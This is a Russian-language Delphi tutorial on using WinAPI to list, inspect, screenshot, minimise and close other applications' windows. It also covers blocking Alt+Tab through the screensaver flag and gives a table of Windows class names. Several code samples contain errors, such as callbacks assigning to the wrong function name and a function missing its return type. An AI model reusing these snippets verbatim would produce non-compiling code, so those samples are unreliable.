TerminateProcess(ProcessInfo.hProcess, 0);
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
end;
end;
StartEn := False;
EndButton.Enabled := StartEn;
end;
Для этого Вам понадобится переопределить процедуру CreateParams у желаемой формы. А в ней установить params.WndParent
в дескриптор окна, к которому Вы хотите прикрепить форму.
... = class(TForm)
...
protected
procedure CreateParams(var params: TCreateParams); override;
...
procedure TForm2.Createparams(var params: TCreateParams);
var
aHWnd: HWND;
begin
inherited;
{как-нибудь получаем существующий дескриптор}
ahWnd := GetForegroundWindow;
{а теперь:}
params.WndParent := ahWnd;
end;
(только для ALT+TAB и CTRL+ESC)
Это не совсем профессиональный способ, но он работает! Мы просто эмулируем запуск и остановку скринсейвера.
procedure TaskSwitchingStatus(State: Boolean);
var
OldSysParam: LongInt;
begin
SystemParametersInfo(SPI_SCREENSAVERRUNNING,
Word(State), @OldSysParam, 0);
end;
Every window is a member of a window class. When you use API functions suchs as FindWindow, ShowWindow,..., you need
the classname as parameter to specify the window class name.
Below are some class names of common applications that are included in Windows.
Class Name Application
Omain ACCESS.EXE
SciCalc CALC.EXE
CalWndMain CALENDAR.EXE
Cardfile CARDFILE.EXE
Clipboard CLIPBOARD.EXE
Clock CLOCK.EXE
CtlPanelClass CONTROL.EXE
XLMain EXCEL.EXE
Session MS-DOS.EXE
Notepad NOTEPAD.EXE
pbParent PBRUSH.EXE
Pif PIFEDIT.EXE
PrintManager PRINTMAN.EXE
Progman PROGMAN.EXE (Windows Program Manager)
Recorder RECORDER.EXE
Reversi REVERSI.EXE
#2 SETUP.EXE
Solitaire SOL.EXE
Terminal TERMINAL.EXE
WFS_Frame WINFILE.EXE
MW_WINHELP WINHELP.EXE
#2 WINVER.EXE
OpusApp WINWORD.EXE
MSWRITE_MENU WRITE.EXE
Below are some class names of applications that are new with Windows 95:
Class Name Application
-------------------------- --------------------------
CabinetWClass My Computer Window
Internet Explorer_Frame IEXPLORE.EXE
MSPaintApp MSPAINT.EXE
SageWindowClass System Agent Com Window
Shell_Traywnd Windows 95 Task Bar
WordPadClass WORDPAD.EXE
DialerClass DIALER.EXE
SJE_CDPlayerClass CDPLAYER.EXE
MyDlgClass CHARMAP.EXE
MSDefragWClass1 DEFRAG.EXE
GFVMainWndClass FAXVIEW.EXE
FreeWClass FREECELL.EXE
Mplayer MPLAYER.EXE
AfxFrameorView HEARTS.EXE
NW_Class NETWATCH.EXE
AppClass PACKAGER.EXE
System Policy Editor POLEDIT.EXE
PWLEdit PWLEDIT.EXE
RegEdit_RegEdit REGEDIT.EXE
ScanDskWDlgClass SCANDSK.EXE
SoundRec SNDREC32.EXE
Volume Control SNDVOL32.EXE
System Monitor SYSMON.EXE
MSTaskSwWClass TASKMAN.EXE
TelnetWClass TELNET.EXE
WinIPCfgClass WINIPCFG.EXE
WordPadClass WORDPAD.EXE
Session_Window HYPERTRM.EXE
Для чего это?
Нет, конечно, никакого отношения это статья к привычным извращениям не имеет, просто рассказывает, как можно
подглядывать в чужие окна.
Судя по тому шквалу вопросов, которыми завалены форумы, вопрос изучения чужих окон интересует многих. Каюсь, здесь
я оказался в большинстве. Движимый любопытством я попытался разобраться в том, как же все-таки заглянуть в чужое
окно. И написал некую прогр аммку, которая все это умеет делать. Ну, почти все. Попутно пришлось найти ответы на
многие вопросы, которые, как мне кажется, интересуют не только меня. Программа написана на Delphi 3 для Windows 98.
И, возможно, в более поздних версиях Delphi появились дополнительные возможности.
Чтобы не засорять место бесконечными объяснениями интерфейсной части полный исходный текст программы приводить не
буду, постараюсь изложить по пунктам, как она работает. Тест будет избыточным с большим количеством ненужных примеров,
например, нахождение в ерхних окон приводиться в двух вариантах, оба рабочие, но один из которых работает с
определенными трудностями. Зачем это делается??? Просто программа писалась для определенных задач, кои могут не совпадать
с Вашими. Основная цель объяснить, как работать с чужими окнами при помощи функциями API, а какие примеры и для чего
применять решать Вам.
Для кого это?
Для всех, кто хочет научиться работать с WINAPI. Для тех, кто программирует в Delphi, хотя почти все сказанное тут
может быть использовано и в других языках, тем и хороши функции API.
По мере использования приводятся краткие описания функций API.
Эта публикация подразумевает достаточно низкий уровень знания Дельфи и АПИ, но какие-то базовые знания все-таки
необходимы. С другой стороны, никакой Америки здесь не открывается, просто приводятся примеры работы с чужими окнами.
Для подключения функций API необходимо включить в описание используемых модулей Uses ShellAPI;
Как получить список всех окон запущенных в системе.
Первое что нас интересует так это получение списка окон, запущенных в системе. Прошу не путать с процессами, это
совсем другая песня. Коротко говоря, у одного процесса может быть несколько окон, но бывают процессы, у которых
кон вообще нет, тогда как люб ое окно должно принадлежать какому-либо процессу. Но здесь и сейчас мы говорим
только об окнах.
Попробуем найти так называемые окна верхнего уровня, или, попросту говоря главные окна приложений. Найти окно в
системе - означает получить его описатель (дескриптор). По этому описателю окно идентифицируется единственным
возможным способом.
Идентификатор окна, он же дескриптор он же описатель окна это просто число, зная которое можно получить доступ к
каждому конкретному окну в системе.
Для нахождения окон запущенных в системе существует целый ряд функций WinAPI (в дальнейшем просто API).
Функция FindWindow
Синтаксис:
function FindWindow(ClassName, WindowName: PChar): HWnd;
Описание:
Находит родительское окно верхнего уровня с совпадающими ClassName и WindowName. Не осуществляет поиск дочерних окон.
Параметры:
ClassName: Имя класса окна (заканчивающееся пустым символом, 0 - если все классы).
WindowName: Текстовый заголовок окна или 0, если все окна.
Возвращаемое значение: Описатель окна; 0 - если такого окна нет.
Итак, функция FindWindow находит все окна верхнего уровня по названию класса и заголовку окна.
Если Ваша задача определить запущено ли определенное окно (с известными именем класса и заголовком) в настоящий
момент, можно использовать
Procedure WindowPresent(ClassName,WindowName:PChar): Boolean;
Begin
Result := FindWindow(ClassName,WindowName)<>0;
End;
Но, зачастую требуется определить все окна, или окна, для которых не известен класс и/или заголовок. Для решения
нашей задачи, также можно использовать функцию FindWindow
Но посмотрим, что еще у нас есть из функций работы с окнами.
Функция GetNextWindow
Синтаксис:
function GetNextWindow(Wnd: HWnd; Flag: Word): Hwnd;
Описание: Считывает из Wnd следующее или предыдущее окно. В случае окна верхнего уровня ищется следующее окно
верхнего уровня, а в случае дочернего окна ищется следующее дочернее окно.
параметры:
Wnd: идентификатор окна.
Flag: Одна из констант
gw_HWndNext - искать следующее окно
gw_HwndPrev - искать предыдущее окно.
возвращаемое значение: Идентификатор окна.
Функция GetNextWindow находит все окна текущего уровня (если задано окно верхнего уровня, - то ищет окно верхнего
уровня, если дочернее окно - то список дочерних)
Осталось определить, как найти исходный описатель окна, от которого будем плясать (параметр WND функции)
Можно попробовать начать поиски с верхнего окна системы. Его можно определить при помощи следующей функции API:
Функция: GetForegroundWindow
Синтаксис:
function GetForeGroundWindow: Hwnd;
Описание: Показывает верхнее окно системы.
Параметры: нет.
Возвращаемое значение: Идентификатор окна.
А можно при помощи все той же функции FindWindow и все-таки для определения окон верхнего уровня, на мой взгляд,
предпочтительней использовать функцию FindWindow.
Давайте попробуем описать первый вариант функции, которая составляет список всех окон верхнего уровня системы,
пусть у нас есть на форме некий ListBox1:TlistBox, будем помещать в него найденные окна. И процедура поиска окон
будет выглядеть тогда следующим образом:
procedure Tform1.GetAllWindow;
Var
Wd : HWnd;
begin
ListBox1.Items.Clear; // Очистим список перед началом поисков
Wd:=FindWindow(0,0); // Найдем первое окно верхнего уровня любого класса
While (Wd<>0) do // Если такое окно существует
Begin
ListBox1.Items.Add(IntToStr(Wd)); // Добавим описатель в виде текста в список
Application.ProcessMessages; // Дадим возможность поработать другим
Wd:=GetNextWindow(Wd,GW_HWNDNEXT); // Найдем следующее окно в системе.
End;
end;
Работает??? Работает, но как-то не совсем так, как хотелось, ряд окон не отображается (например, системные окна,
такие как System Tray), возможно некое зацикливание программы в некоторых случаях.
Просто потому, что для этих целей существует совсем другой способ.
Функция EnumWindows
Синтаксис:
function EnumWindows(EnumFunc: TFarProc, lParam: Longint): Bool;
Описание: Пеpечисляет все pодительские окна на экpане, пеpедавая функции обpатного вызова ( т.е объявленная как stdcall
функция) описатель окна и lParam. Пеpечисление заканчивается, если функция обpатного вызова возвpащает нуль или если
пеpечислены все ок на.
Параметры: EnumFunc: Адpес экземпляpа пpоцедуpы функции обpатного вызова.
lParam: Значение, пеpеданное функции обpатного вызова.
Возвращаемое значение: Не нуль, если пеpечислены все окна; 0 - в пpотивном случае.
Вот эта функция прям-таки и просится, чтобы перечислить все окна в системе.
Для этого нам потребуется вспомогательная функция (хотя конечно она то и будет основной)
И так:
function EnumProc (Wd: HWnd; Param: LongInt): Boolean; stdcall; // Обязательно stdcall !!!
Begin
ListBox1.Items.Add(IntToStr(Wd)); // Добавляем текущий описатель окна
EnumProc := TRUE;
end;
Procedure TForm1.GetAllWindow;
Begin
ListBox1.Items.Clear; // Очистим список перед началом поисков
EnumWindows (@EnumProc, 0); // и скажем - искать
End;
И получается проще. В дальнейшем все изменения будут идти относительно текста 2, хотя все это будет справедливо
и для текста 1.
Как получить общую информацию об окнах верхнего уровня.
Итак, мы научились получать список описателей для всех окон в системе.
Но почему-то это не особенно радует. Действительно взирать на список чисел, которые представляют собой
описатели окон грустно. И вообще интересует совсем другая информация об окнах, нежли просто список описателей.
Давайте разбираться, что же можно вытащить из окна верхнего уровня. Для начала получим информацию о классе окна и
заголовке окна:
Функция GetClassName
Синтаксис:
function GetClassName(Wnd: HWnd; ClassName: PChar;
MaxCount: Integer): Integer;
Описание: Считывает имя класса окна.
Параметры:
Wnd: Идентификатор окна.
ClassName: Буфеp для пpиема имени класса.
MaxCount: Размеp буфеpа
Возвращаемое значение: Фактическое число скопиpованных символов; 0 - если ошибка.
Функция GetWindowText
Синтаксис:
function GetWindowText(Wnd: HWnd; Str: PChar;
MaxCount: Integer): Integer;
Описание: Копиpует в Str заголовок окна или текст оpгана упpавления.
Параметры:
Wnd: Идентификатор окна или оpгана упpавления.
Str: Буфеp, пpинимающий стpоку.
MaxCount: Размеp буфеpа Str.
Возвращаемое значение: Фактическое число скопиpованных байт или 0, если текст отсутствует.
Описатели окна мы уже имеем, так что самое время получить имя класса и заголовок. Изменим полученную функцию
EnumProc следующим образом:
function EnumProc (Wd: HWnd; Param: LongInt): Boolean; stdcall; // Обязательно stdcall !!!
Var
Nm:Array[0..255] of Char; // буфер для имени
Cs: Array[0..255] of Char; // буфер для класса
Begin
GetWindowText(Wd,Nm,255); // считываем текст заголовка окна
GetClassName(Wd,Cs,255); // считываем название класса окна
ListBox1.Items.Add(String(Nm)+'/'+String(Cs)); // Добавляем название окна и класс в список
EnumProc := TRUE; // продолжать искать окна…
end;
Конечно, красоты ради, стоило бы сначала определить необходимый размер буфера, но в подавляющем большинстве
случаев вполне хватает 255 символов. Для желающих поразвлечься самостоятельно предлагаю определить размер
заголовка помощи следующих функции:
Функция GetWindowTextLength
Синтаксис:
function GetWindowTextLength(Wnd: HWnd): Integer;
Описание: Считывает длину заголовка окна или текста оpгана упpавления.
Параметры:
Wnd: Идентификатор окна.
Возвращаемое значение: Длина заголовка окна в символах.
Вот теперь мы видим какие окна верхнего уровня у нас загружены в системе, и даже можем понемногу разбираться
какие окна к чему относятся. Но появляются разные странности.
Во-первых количество окон в системе оказывается больше чем то, что мы видим.
Во-вторых появляются окна вообще с непонятными классами и/или названиями или вообще без них.
Спешу Вас успокоить, список содержит ВСЕ окна которые есть в системе, включая скрытые, системные (например
ProgMan не что иное как рабочий стол). В том числе и Вашу программу. Встает вопрос, как бы убрать собственную
программу из списка ? Для этого коротенько намекну, что описатель, который мы так долго и муторно получали, на
самом деле, совпадает с Handle, который есть у любой формы. Чтобы исключить свою программу из списка достаточно
просто поставить проверку В тексте 3:
If Wd<>Form1.Handle then
ListBox1.Items.Add(String(Nm)+'/'+String(Cs));
Для пущей красоты можно сделать переключатель, который отвечает за то, будет ли в список добавляться Ваша программа.
Если у Вас не одно окно, а несколько, то нужно проверять все окна.
Что из общих параметров можно узнать еще об окне ??? Ну например можно узнать состояние окна, то есть :
Функция IsIconic
Синтаксис:
function IsIconic(Wnd: HWnd): Bool;
Описание: Опpеделяет, является ли окно пиктогpаммой (минимизиpованным).
Параметры:
Wnd: Идентификатор окна.
Возвращаемое значение: Не нуль, если минимизиpовано; 0 - если нет.
Функция IsWindow
Синтаксис:
function IsWindow(Wnd: HWnd): Bool;
Описание: Опpеделяет, является ли окно допустимым существующим окном.
Параметры:
Wnd: Идентификатор окна.
Возвращаемое значение: Не нуль, если окно достовеpно; 0 - если нет.
Функция IsWindowEnabled
Синтаксис:
function IsWindowEnabled(Wnd: HWnd): Bool;
Описание: Опpеделяет, является ли окно pазpешенным для ввода с мыши и с клавиатуpы.
Параметры:
Wnd: Идентификатор окна.
Возвращаемое значение: Не нуль, если окно pазpешено; 0 - если нет.
Функция IsWindowVisible
Синтаксис:
function IsWindowVisible(Wnd: HWnd): Bool;
Описание: Опpеделяет, сделано ли окно видимым функцией ShowWindow.
Параметры: Wnd: Идентификатор окна.
Возвращаемое значение: Не нуль, если окно существует на экpане (даже если полностью закpыто); 0 - если нет.
Функция IsZoomed
Синтаксис:
function IsZoomed(Wnd: HWnd): Bool;
Описание: Опpеделяет, является ли окно максимизиpованным.
Параметры: Wnd: Идентификатор окна.
Возвращаемое значение: Не нуль, если окно максимизиpовано; 0 - если нет.
Простой пример использования этих функций:
function EnumProc (Wd: HWnd; Param: LongInt): Boolean; stdcall; // Обязательно stdcall !!!
Var
Nm:Array[0..255] of Char; // буфер для имени
Cs: Array[0..255] of Char; // буфер для класса
Ch:Char; //символ обозначающий, что окно минимизиравано
Begin
GetWindowText(Wd,Nm,255); // считываем текст заголовка окна
GetClassName(Wd,Cs,255); // считываем название класса окна
If IsIconic(Wd) then Ch:='+'
Else Ch:='-';
// Добавляем название окна и класс в список первый символ + означает, что окно - иконка
If Wd<>Form1.Handle then ListBox1.Items.Add(Ch+' '+String(Nm)+'/'+String(Cs));
EnumProc := TRUE;
end;
Работа с остальными функциями этой группы проводиться таким же образом, Вы получаете значение типа boolean, и
что-то где-то отображаете.
Кроме того, можно так же предусмотреть возможность отображать только окна определенного вида. Например, только
видимые. Для этого достаточно вставить вместо строки
If Wd<>Form1.Handle ... ...условие вида
If ISWindowVisble(Wd) and (Wd<>Form1.Handle) then ... .
Впрочем, это уже на Ваш вкус, что отображать и как.
Что еще можно узнать об окнах верхнего уровня ?
Конечно, на этом информация об окнах не исчерпывается, еще очень и очень многое можно узнать об окне, зная его
описатель.
Я приведу вкратце некоторые из наиболее интересных, на мой взгляд:
Все примеры, как бы являются функциями, которые можно вставлять в EnumProc например, и вызывать из нее передавая
необходимые параметры.
Получение данных о расположении окна:
Процедура GetWindowRect
Синтаксис:
procedure GetWindowRect(Wnd: HWnd; var Rect);
Описание: Считывает в ARect pазмеpности огpаничивающего пpямоугольника окна (в кооpдинатах экpана).
Параметры:
Wnd: Идентификатор окна.
Rect: Пpинимающая стpуктуpа TRect.
Возвращаемое значение: Не используется
Функция просто возвращает полный размер окна (с заголовком, меню и т.д.) в глобальных экранных координатах.
Чтобы пояснить работу напишем функцию которая возвращает область окна в виде Trect.
Ничего сложного в этой функции нет, просто как пояснение к использованию:
Function GetWinRect(Wd: HWND):TRect;
Begin
GetWindowRect(Wd,Result);
End;
Пpоцедуpа GetClientRect
Синтаксис:
procedure GetClientRect(Wnd: HWnd; var Rect: TRect);
Описание: Считывает кооpдинаты пользователя окна.
Параметры:
Wnd: Идентификатор окна.
Rect: Стpуктуpа TRect для пpиема кооpдинат пользователя.
Возвращаемое значение: Не используется
Функция возвращает размер рабочей области окна (уже без заголовка, меню и т.д.) в глобальных экранных координатах.
Укажем еще на одну функцию API необходимую для весьма полезной процедуры:
Функция GetWindowDC
Синтаксис:
function GetWindowDC(Wnd: HWnd): HDC;
Описание: Считывает контекст дисплея, обычно используемый для pаскpаски в окне областей, не являющихся областями пользователя.
Параметры:
Wnd: Идентификатор окна.
Возвращаемое значение: Идентификатор контекста дисплея; 0 - если ошибка.
Функция возвращает контекст устройства, грубо говоря, то где это окно рисуется.
А теперь реализуем пару своих функций, которые возвращают текущее окно в виде картинки BMP:
Скопировать все окно в BMP
Function WindowToBMP(WD: HWND ): TBitmap;
Var
WinDC: HDC;
ARect : TRect;
begin
Result := TBitmap.Create; // Создаем рисунок, куда будем копировать
GetWindowRect(WD, ARect); // Узнаем размер
with Result, ARect do
begin
Width := ARect.Right - ARect.Left;
Height := ARect.Bottom - ARect.Top;
If (Width=0) or (Height=0) then
Begin
MessageDlg('Размер области формы равен нулю',
mtWarning,[mbOk],0); // А вдруг у него нет размера ???
Exit; // Тогда выходим
End;
WinDC:=GetWindowDC(Wd); // получаем для окна контекст устройства
ShowWindow(Wd, SW_SHOW); // на всякий случай выведем окно
BringWindowToTop(WD); // и поместим поверх окон
try
// копируем оттуда прямоугольную область на канву
// растрового изображения
BitBlt( Canvas.Handle, 0, 0, Width, Height, WinDC, 0, 0, SRCCOPY);
finally
end;
end;
end;
и функция, которая копирует только клиентскую часть окна в BMP
Function WindowToBMP(WD: HWND ): TBitmap;
Var
WinDC: HDC;
ARect : TRect;
begin
Result := TBitmap.Create; // Создаем рисунок, куда будем копировать
GetClientRect(WD, ARect); // Узнаем размер
with Result, ARect do
begin
Width := ARect.Right - ARect.Left;
Height := ARect.Bottom - ARect.Top;
If (Width=0) or (Height=0) then
Begin
MessageDlg('Размер области формы равен нулю',
mtWarning,[mbOk],0); // А вдруг у него нет размера ???
Exit; // Тогда выходим
End;
WinDC:=GetWindowDC(Wd); // получаем для окна контекст устройства
ShowWindow(Wd, SW_SHOW); // на всякий случай выведем окно
BringWindowToTop(WD); // и поместим поверх окон
try
// копируем оттуда прямоугольную область на канву
// растрового изображения
BitBlt( Canvas.Handle, 0, 0, Width, Height, WinDC, 0, 0, SRCCOPY);
finally
end;
end;
end;
Видно, что эти функции отличаются только определением области окна, которое будет скопировано.
Сложностей с пониманием работы этих функций быть не должно, получили область копирования по описателю, вычислили
размеры области копирования, получили контекст устройства, и скопировали.
Кстати сказать, для того, чтобы скопировать весь экран или часть экрана можно использовать подобные функции.
Единственное, что в таком случае придется поменять так это контекст устройства. Контекст устройства всего экрана 0.
Ну и вместо того, чтобы получа ть область окна, нужно будет явно передавать координаты области, которую необходимо
скопировать.
Очень много информации об окне можно получить при помощи следующей функции:
Функция GetWindowLong
Синтаксис:
function GetWindowLong(Wnd: HWnd; Index: Integer): Longint;
Описание: Считывает инфоpмацию об окне или о значениях дополнительного байта окна.
Паpаметpы:
Wnd: Идентификатоp окна.
Index: Смещение в байтах или одна из следующих констант:
GWL_EXSTYLE возвращает расширенный стиль окна.
GWL_STYLE возвращает стиль окна.
GWL_WNDPROC возвращает адрес стандартной процедуры окна.
GWL_HINSTANCE возвращает экземпляр приложения окна.
GWL_HWNDPARENT возвращает описатель родительского окна.
GWL_ID возвращает идентификатор окна.
GWL_USERDATA возвращает пользовательские данные об окне.
Возвpащаемое значение: Инфоpмация, хаpактеpная для окна.
Наиболее интересной информацией, на мой взгляд, является стиль окна и экземпляр приложения. Как пользоваться
подобной функцией ??
Например получаем экземпляр приложения:
Function GetHinstanse(WD:HWND): LongInt;
Begin
Result:=GetWindowLong(Wd, GWL_HINSTANCE);
End;
Похожим образом получается любая информация, только в качестве второго параметра Вы передаете тот флаг, который
Вам необходим. Для интереса, можете посмотреть еще описание функции GetWindowWord она сходна с функцией GetWindowLong,
но возможно получение не сколько других параметров окна.
Еще ряд параметров можно вытащить используя функцию:
Функция GetClassLong
Синтаксис:
function GetClassLong(Wnd: HWnd; Index: Integer): Longint;
Описание: Считывает из стpуктуpы окна TWndClass со смещением Index длинное значение. Положительные смещения в
байтах (с нуля) используются для доступа к дополнительным байтам класса.
Паpаметpы:
Wnd: Идентификатоp окна.
Index: Смещение в байтах или константа
GCW_ATOM возвращает значение ATOM уникальное для класса окна
GCL_CBCLSEXTRA возвращает размер в байтах памяти для данного класса
GCL_CBWNDEXTRA возвращает размер в байтах памяти для данного окна
GCL_HBRBACKGROUND возвращает указатель на кисть данного класса
GCL_HCURSOR возвращает указатель на курсор ассоциированный с классом.
GCL_HICON возвращает указатель на иконку ассоциированную с классом.
GCL_HICONSM Windows 95:возвращает указатель на маленькую иконку. Windows NT: не доступно.
GCL_HMODULE возвращает имя модуля класса.
GCL_MENUNAME возвращает имя меню для данного класса.
GCL_STYLE возвращает стиль окна для класса.
GCL_WNDPROC возвращает адрес стандартной процедуры окна
Возвpащаемое значение: Считанное значение.
Надо сказать, что, к сожалению, далеко не все данные, возвращаемые этой функцией верны. Скорее всего она
возвращает сведения только о тех классах окон которые корректно зарегистрированы в системе, хотя возможно, что здесь
я ошибаюсь.
Теперь попробуем применить полученные сведения на практике. Ниже приводится текст позволяющий извлекать иконки из
приложений, которые запущены в настоящий момент (как было сказано выше, к сожалению, работает не для всех окон).
Function WinIconToBMP(Wd:HWND);
Var Icon:HICON; // Тип указатель на иконку
Begin
Result:=TbitMap.Create;
Icon:=GetClassLong(Wd,GCL_HICON); // Получаем иконку по описателю
If ICON > 0 then // Если получена действительно иконка
With Result do
Begin
Height:=31;
Width:=31;
Canvas.Brush.Color:=clWhite;
Canvas.FillRect(Rect(0,0,31,31)); // На всякий случай заливаем белым
DrawIcon(Canvas.Handle, 0, 0, Icon); // И отрисовываем ее на канве
End;
End;
Как видно, процедура не такая уж и сложная. Для полноты информации можно еще извлечь идентификатор нити, к которой
относиться окно.
Функция GetWindowThreadProcessId
Синтаксис:
DWORD GetWindowThreadProcessId(Wnd: HWND; lpdwProcessId : LPDWORD);
Описание: Возвращает идентификатор процесса к которому принадлежит данное окно
Параметры:
Wnd: Идентификатор окна.
lpdwProcessId : 32битное значение идентификатора процесса
Возвращаемое значение: идентификатор нити
Как использовать данную функцию ??
Var
mProcessID,mThreadID : Dword;
Begin
...// Получение описателя в WD
mThreadID:= GetWindowThreadProcessId(Wd,@mProcessID); // Получения идентификаторов.
...
End;
Эта функция хороша тем, что для всех окон одного приложения этот идентификатор будут един, если они запущены внутри
одной нити (что зачастую и делается). То есть Вы можете разбить окна по нитям и /или по процессам, к которым они
относятся. А так же Вы мож ете определять, какие окна данного приложения в настоящий момент доступны, видны, свернуты и т.д.
Итоги
Итак, мы получили список всех окон верхнего уровня, запущенных в системе и огромное количество информации об окнах
верхнего уровня, практически все, что может понадобиться:
Описатель окна
Заголовок окна
Класс окна
Состояние окна (распахнутое, видимое, доступное и т.д.)
Размеры и положение окна
Размеры и положение клиентской части окна
Контекст устройства
Стиль окна
Экземпляр приложения
Иконку.
Идентификатор нити.
-------------------------------------------------------
еперь, попробуем менять, что-то в чужих окнах. И вообще попробуем сделать с ними то же, что мы делаем со своими
окнами. Сразу скажу, что тема эта неисчерпаема. Ей можно посвятить не одно скромное обозрение, а детальное
многотомное издание. Я не ставлю св оей задачей.
Несколько предварительных сурьезных слов.
Вынужден сказать, что многое изложенное ниже может привести к неприятным последствиям. Например, к тому, что
программа или система будет зависать. Поэтому будем считать, что читатель находиться в трезвом уме и здравой
памяти и не будет совершать необдуман ные действия. Прежде чем убить или закрыть чужое окно, подумайте, а
ачем это окно вообще висит. Помните, что если окна висят в системе значит это кому то нужно ?! (почти Маяковский).
Ну а теперь немного попугав для проформы перейдем к делу.
Содержание:
Несколько предварительных сурьезных слов.
Режимы отображение окон верхнего уровня.
Системное меню и кнопки заголовка.
Некоторые дополнительные возможности.
Итоги
Итак…
Режимы отображение окон верхнего уровня.
Давайте попробуем для начала сделать чужое окно активным (мы уже это делали, когда спасали чужое окно в картинку).
Для этого можно использовать одну из следующих функций:
Функция SetForegroundWindow
Синтаксис:
function SetForeGroundWindow(Wd: Hwnd):Boolean;
Описание: Показывает верхние окно системы.
Параметры:
Wnd: Идентификатор окна.
Возвращаемое значение: True- если функция отработала, False- при ошибке.
Процедура BringWindowToTop
Синтаксис:
procedure BringWindowToTop(Wnd: HWnd);
Описание: Активизирует и перемещает Wnd в вершину стека перекрывающихся окон.
параметры:
Wnd: Всплывающее или дочернее окно.
Возвращаемое значение: Нет
Теперь попробуем проделать с неким окном, имеющим идентификатор окна HD:HWnd некие стандартные действия:
1) Свернуть данное окно;
2) Развернуть данное окно;
3) Закрыть данное окно.
Все данные действия могут быть проделаны с окном при помощи стандартной функции SendMessage или PostMessage, с
различными параметрами:
1) SendMessage(HD,WM_SYSCOMMAND,SC_MINIMIZE,0);
2) SendMessage(HD,WM_SYSCOMMAND,SC_MAXIMIZE,0);
3) SendMessage(HD,WM_SYSCOMMAND,SC_CLOSE,0);
Существуют и другие константы, для сообщений вида WM_SYSCOMMAND:
SC_CLOSE Закрывает окно.
SC_CONTEXTHELP Изменяет курсор на вопросительный знак.
SC_DEFAULT Выбирает элемент по умолчанию; эмулирует двойное нажатие на Системное меню.
SC_HOTKEY Инициирует окно, связанное с текущим - указанной комбинацией горячих клавиш.
SC_HSCROLL Прокручивается горизонтально окно.
SC_KEYMENU Открывает Системное меню как результат нажатия клавиши.
SC_MAXIMIZE (или SC_ZOOM) Разворачивает окно.
SC_MINIMIZE (или SC_ICON) Сворачивает окно.
SC_MONITORPOWER Устанавливает состояние дисплея.
SC_MOUSEMENU Открывает Системное меню как результат щелчка мыши.
SC_MOVE Перемещает окно.
SC_NEXTWINDOW Переходит к следующему окну.
SC_PREVWINDOW переходит к предыдущему окну.
SC_RESTORE Восстанавливает окно к его нормальной позиции и размеру.
SC_SCREENSAVE Запускает стандартный скринсейвер.
SC_SIZE Задает размеры окно.
SC_TASKLIST Выполняет или инициирует Windows Task Manager.
SC_VSCROLL Прокручивается окно вертикально.
Первый параметр - описатель искомого окна, второй сообщение (в нашем случае WM_SYSCOMMAND) третий одна из констант
приведенных выше, четвертый параметр - координаты (x- младшее слово y - старшее).
Можно, так же, показать или скрыть окно, используя функцию API:
Процедура ShowWindow
Синтаксис:
function ShowWindow(Wnd: HWnd; CmdShow: Integer);
Описание: отображает или прячет окно образом, указанным параметром CmdShow.
параметры:
Wnd: Всплывающее или дочернее окно.
CmdShow - одна из констант:
SW_HIDE
SW_MAXIMIZE
SW_MINIMIZE
SW_RESTORE
SW_SHOW
SW_SHOWDEFAULT
SW_SHOWMAXIMIZED
SW_SHOWMINIMIZED
SW_SHOWMINNOACTIVE
SW_SHOWNA
SW_SHOWNOACTIVATE
SW_SHOWNORMAL
Возвращаемое значение: Не нуль, если окно было ранее видимым; нуль - если оно было ранее спрятанным.
Константы позволяют скрыть/показать окно с различными типами (распахнутым, свернутым, неактивным и пр.)
Давайте теперь попробуем решить ряд наиболее часто встречающихся проблем:
1) Как свернуть все окна системы ??? (как свернуть все окна системы кроме окна программы)
// Любимая наша процедура.
{Для того чтобы использовать данный пример необходимо наличие кнопки Button1.}
function EnumMiniProc (Wd: HWnd; Param: LongInt): Boolean; stdcall; // Обязательно stdcall !!!
Begin
If Wd<>Form1.Handle then // если это не наша программа
If IsWindowVisible(WD) then // если окно видимо
If not IsIconic(WD) then // если окно не свернуто
If isWindow(WD) then // и вообще это - окно.
ShowWindow(WD, SW_MINIMIZE); // свернем его.
EnumProc := TRUE; // продолжаем перебирать все окна системы.
end;
procedure TForm1.Button1Click(Sender: : TObject); // допустим, закрываем по нажатию на клавишу
begin
EnumWindows (@EnumMiniProc, 0); // отрабатываем сворачивание окон.
end;
Для того чтобы окно программы тоже сворачивалось достаточно убрать строку If Wd<>Form1.Handle then в EnumMiniProc
Конечно, можно поставить еще массу условий, по которым будут минимизироваться окна, но это уже дело конкретной задачи.
Еще один пример, который бывает зачастую нужен:
2) Как закрыть (или постоянно закрывать) окна, например содержащие в заголовке подстроку «Реклама»
Закрыть все окна, содержащие определенную подстроку в заголовке.
Const
ReclamaName : String = 'Реклама' ; // строка, по которой мы узнаем, что это - реклама.
TimeInterval : Integer = 500; // Интервал, с которым будем проверять наличие окон
{Для того чтобы использовать данный пример необходимо наличие таймера Timer1.}
// Любимая наша процедура
function EnumCloseProc (Wd: HWnd; Param: LongInt): Boolean; stdcall; // Обязательно stdcall !!!
Var
Nm:Array[0..255] of Char; // буфер для имени
zName:String;
Begin
GetWindowText(Wd,Nm,255); // считываем текст заголовка окна
ZName:=AnsiUpperCase(String(Nm)); // преобразуем к верхнему регистру т.е РЕКЛАМА
If Pos(ReclamaName,zName)<>0 then SendMessage(WD,WM_SYSCOMMAND,SC_CLOSE,0);
EnumProc := TRUE; // продолжаем перебирать все окна системы.
end;
procedure Tform1.Timer1Timer(Sender: TObject); // будем проверять по таймеру…
begin
Timer1.Interval:= TimeInterval; // установим время до следующего вызова
EnumWindows (@EnumCloseProc, 0); // отрабатываем закрытие окон.
end;
Понятно, что настоящая реклама не дает себе таких заголовков, но общий принцип останется тем же, а так попробуйте
поискать общее в заголовках окна, названии классов окна и т.п. Кроме того, использование таймера чревато тем, что
окон в системе очень много и за установленный интервал времени все окна не будут отработаны, это приведет к
замедлению работы системы. Но решение данной подзадачки автор оставляет за читателем, благо особых сложностей
с этим нет (увеличения интервала времени, установка логического условия о том, что проверка уже идет, вставка
оператора Application.ProcessMessages и проч.)
На этом все возможности этих функций API не исчерпываются, но общий принцип отображения чужих окон, закрытия,
перемещения и прокрутки изложен, дальше нужно от конкретной задачи.
Системное меню и кнопки заголовка.
Системное меню, отображает обычно ряд доступных стандартных функций применимых к окнам.
Обычно к таким функциям относятся следующие команды (применительно к локализованным Windows, в англоязычных
названия будут другие, есть подозрения, что английские J):
Восстановить - восстанавливает размер окна.
Переместить - перемещает окно.
Размер - позволяет изменить размер окна.
Свернуть - сворачивает окно до иконки (минимизирует).
Развернуть - разворачивает окна до максимально возможного размера
Закрыть - закрывает окно.
Все эти команды, а так же ряд других (например, добавленных пользователем) доступны при нажатии на иконку,
расположенную в левой части заголовка окна.
